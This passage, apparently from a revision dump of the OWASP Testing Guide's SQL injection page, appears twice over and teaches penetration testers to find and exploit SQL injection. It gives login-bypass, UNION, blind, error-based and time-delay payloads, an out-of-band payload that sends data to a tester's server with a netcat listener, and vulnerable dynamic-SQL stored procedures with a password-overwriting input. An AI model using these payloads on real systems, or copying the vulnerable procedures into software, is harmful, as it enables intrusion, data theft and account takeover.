<pre>$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable</pre>

We will have the following query:

<pre>SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable</pre>

Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected two other values. These two values are necessary because the two queries must have an equal number of parameters/columns in order to avoid a syntax error.

The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.

In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:

<pre>http://www.example.com/product.php?id=10 ORDER BY 10--</pre>

If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:

<pre>Unknown column '10' in 'order clause'</pre>

After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--</pre>

If the query fails, the tester will probably see a message like:

<pre>All cells in a column must have the same datatype</pre>

If the query executes with success, the first column can be an integer. Then the tester can move further and so on:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--</pre>

After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):

<pre>http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--</pre>

==== Boolean Exploitation Technique ====

The Boolean exploitation technique is very useful when the tester finds a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect). 

By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:

<pre>http://www.example.com/index.php?id=1'</pre>

We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
</pre>

Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:

'''SUBSTRING (text, start, length)''': returns a substring starting from the position "start" of text and of length
"length". If "start" is greater than the length of text, the function returns a null value.

'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.

'''LENGTH (text)''': it gives back the number of characters in the input text.

Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for ''Id'':

<pre>$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
</pre>

That creates the following query (from now on, we will call it "inferential query"):

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
</pre>

The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for ''Id'':

<pre>$Id=1' AND '1' = '2
</pre>

Which will create the following query:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
</pre>

The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order
to decide the result of the test.

In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.

We will insert the following value for the field ''Id'':

<pre>$Id=1' AND LENGTH(username)=N AND '1' = '1
</pre>

Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
</pre>

The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.

The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.

==== Error based Exploitation technique ====

An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. Oracle 10g):

<pre>http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--</pre>

In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:

<pre>ORA-292257: host SCOTT unknown</pre>

Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.

==== Out of band Exploitation technique ====

This technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be:

<pre>http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL)--</pre>

In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver (e.g. Apache) or use the Netcat tool:

<pre>/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close</pre>

==== Time delay Exploitation technique ====

The time delay exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. MySql 5.x):

<pre>http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--</pre>

In this example the tester is checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.

==== Stored Procedure Injection ====

When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.

Consider the following '''SQL Server Stored Procedure:'''

Create procedure user_login @username varchar(20), @passwd varchar(20)
As
Declare @sqlstring varchar(250)
Set @sqlstring = ‘
Select 1 from users
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd
exec(@sqlstring)
Go

User input:
anyusername or 1=1'
anypassword

This procedure does not sanitize the input, therefore allowing the return value to show an existing record with theseparameters. 

NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data. 

Consider the following '''SQL Server Stored Procedure:'''

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring)
Go

User input:

1 from users; update users set password = 'password'; select *

This will result in the report running and all users’ passwords being updated.

==== Automated Exploitation ====

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:

https://www.owasp.org/index.php/Automated_Audit_using_SQLMap

==Tools==
* SQL Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector] 
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools] 
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/productservice/pangolin/ Pangolin]
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper] 
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl

== References ==

* [[Top 10 2013-A1-Injection]]
* [[SQL Injection]]

Technology specific Testing Guide pages have been created for the following DBMSs:
* [[Testing for Oracle| Oracle]]
* [[Testing for MySQL| MySQL]]
* [[Testing for SQL Server | SQL Server]]

'''Whitepapers''' 

* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-sql-inj.pdf
* Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
* Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* Kevin Spett from SPI Dynamics: "SQL Injection" - https://docs.google.com/file/d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf

'''Documentation on SQL injection vulnerabilities in products'''

* [https://www.vanstechelman.eu/content/anatomy-of-the-sql-injection-in-drupals-database-comment-filtering-system-sa-core-2015-003 Anatomy of the SQL injection in Drupal's database comment filtering system SA-CORE-2015-003]

Testing for SQL Injection (OTG-INPVAL-005)

2016-03-09T03:08:24Z

Thompsnm: /* Out of band Exploitation technique */ - wrap example in code block

{{Template:OWASP Testing Guide v4}}

== Summary ==
An [[SQL injection]] attack consists of insertion or "injection" of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:

<pre>select title, text from news where id=$id</pre>

In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.

Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.

<pre>select title, text from news where id=10 or 1=1</pre>

SQL Injection attacks can be divided into the following three classes:

* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
* Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query.

About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):

* Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
* Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.
* Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It is useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.

==How to Test==

===Detection Techniques===
The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:

* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.
* E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.

The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies.

The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):

<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113</pre>

Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:

<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113
</pre>

Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.

===Standard SQL Injection Testing===

====Example 1 (classical SQL Injection):====

Consider the following SQL query:

<pre>SELECT * FROM Users WHERE Username='$username' AND Password='$password'</pre>

A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:

<pre>$username = 1' or '1' = '1</pre>

<pre>$password = 1' or '1' = '1</pre>

The query will be:

<pre>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' </pre>

If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1 </pre>

After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password. ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.'' Another example of query is the following:

<pre>SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) </pre>

In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is "--". This said, the values that we'll use as Username and Password are:

<pre>$username = 1' or '1' = '1'))/*</pre>

<pre>$password = foo</pre>

In this way, we'll get the following query:

<pre>SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) </pre>
(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)

The URL request will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo </pre>

This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator "LIMIT <num>", where <num> is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:

<pre>$username = 1' or '1' = '1')) LIMIT 1/* </pre>

<pre>$password = foo </pre>

In this way, we create a request like the follow:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo </pre>

====Example 2 (simple SELECT statement):====

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.

Consider the request:

<pre>http://www.example.com/product.php?id=10 AND 1=2</pre>

<pre>SELECT * FROM products WHERE id_product=10 AND 1=2</pre>

In this case, probably the application would return some message telling us there is no content available or a blank page. Then
the tester can send a true statement and check if there is a valid result:

<pre>http://www.example.com/product.php?id=10 AND 1=1</pre>

====Example 3 (Stacked queries):====

Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

A way to exploit the above scenario would be:

<pre>http://www.example.com/product.php?id=10; INSERT INTO users (…)</pre>

This way is possible to execute many queries in a row and independent of the first query.

===Fingerprinting the Database===

Even though the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.

When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.

1) The first way to find out what back end database is used is by observing the error returned by the application. The following are some examples of error messages:

MySql:

<pre>You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1</pre>

Oracle:

<pre>ORA-00933: SQL command not properly ended</pre>

MS SQL Server:

<pre>Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string</pre>

PostgreSQL:

<pre>Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.</pre>

2) If there is no error message or a custom error message, the tester can try to inject into string fields using varying concatenation techniques:

MySql: ‘test’ + ‘ing’

SQL Server: ‘test’ ‘ing’

Oracle: ‘test’||’ing’

PostgreSQL: ‘test’||’ing’

===Exploitation Techniques ===

==== Union Exploitation Technique ====

The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:

<pre>SELECT Name, Phone, Address FROM Users WHERE Id=$id</pre>

We will set the following $id value:

<pre>$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable</pre>

We will have the following query:

<pre>SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable</pre>

Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected two other values. These two values are necessary because the two queries must have an equal number of parameters/columns in order to avoid a syntax error.

The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.

In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:

<pre>http://www.example.com/product.php?id=10 ORDER BY 10--</pre>

If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:

<pre>Unknown column '10' in 'order clause'</pre>

After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--</pre>

If the query fails, the tester will probably see a message like:

<pre>All cells in a column must have the same datatype</pre>

If the query executes with success, the first column can be an integer. Then the tester can move further and so on:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--</pre>

After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):

<pre>http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--</pre>

==== Boolean Exploitation Technique ====

The Boolean exploitation technique is very useful when the tester finds a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect). 

By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:

<pre>http://www.example.com/index.php?id=1'</pre>

We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
</pre>

Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:

'''SUBSTRING (text, start, length)''': returns a substring starting from the position "start" of text and of length
"length". If "start" is greater than the length of text, the function returns a null value.

'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.

'''LENGTH (text)''': it gives back the number of characters in the input text.

Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for ''Id'':

<pre>$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
</pre>

That creates the following query (from now on, we will call it "inferential query"):

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
</pre>

The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for ''Id'':

<pre>$Id=1' AND '1' = '2
</pre>

Which will create the following query:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
</pre>

The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order
to decide the result of the test.

In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.

We will insert the following value for the field ''Id'':

<pre>$Id=1' AND LENGTH(username)=N AND '1' = '1
</pre>

Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
</pre>

The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.

The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.

==== Error based Exploitation technique ====

An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. Oracle 10g):

<pre>http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--</pre>

In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:

<pre>ORA-292257: host SCOTT unknown</pre>

Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.

==== Out of band Exploitation technique ====

This technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be:

<pre>http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL)--</pre>

In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver (e.g. Apache) or use the Netcat tool:

<pre>/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close</pre>

==== Time delay Exploitation technique ====

The time delay exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. MySql 5.x):

<pre>http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--</pre>

In this example the tester if checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.

==== Stored Procedure Injection ====

When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.

Consider the following '''SQL Server Stored Procedure:'''

Create procedure user_login @username varchar(20), @passwd varchar(20)
As
Declare @sqlstring varchar(250)
Set @sqlstring = ‘
Select 1 from users
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd
exec(@sqlstring)
Go

User input:
anyusername or 1=1'
anypassword

This procedure does not sanitize the input, therefore allowing the return value to show an existing record with theseparameters. 

NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data. 

Consider the following '''SQL Server Stored Procedure:'''

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring)
Go

User input:

1 from users; update users set password = 'password'; select *

This will result in the report running and all users’ passwords being updated.

==== Automated Exploitation ====

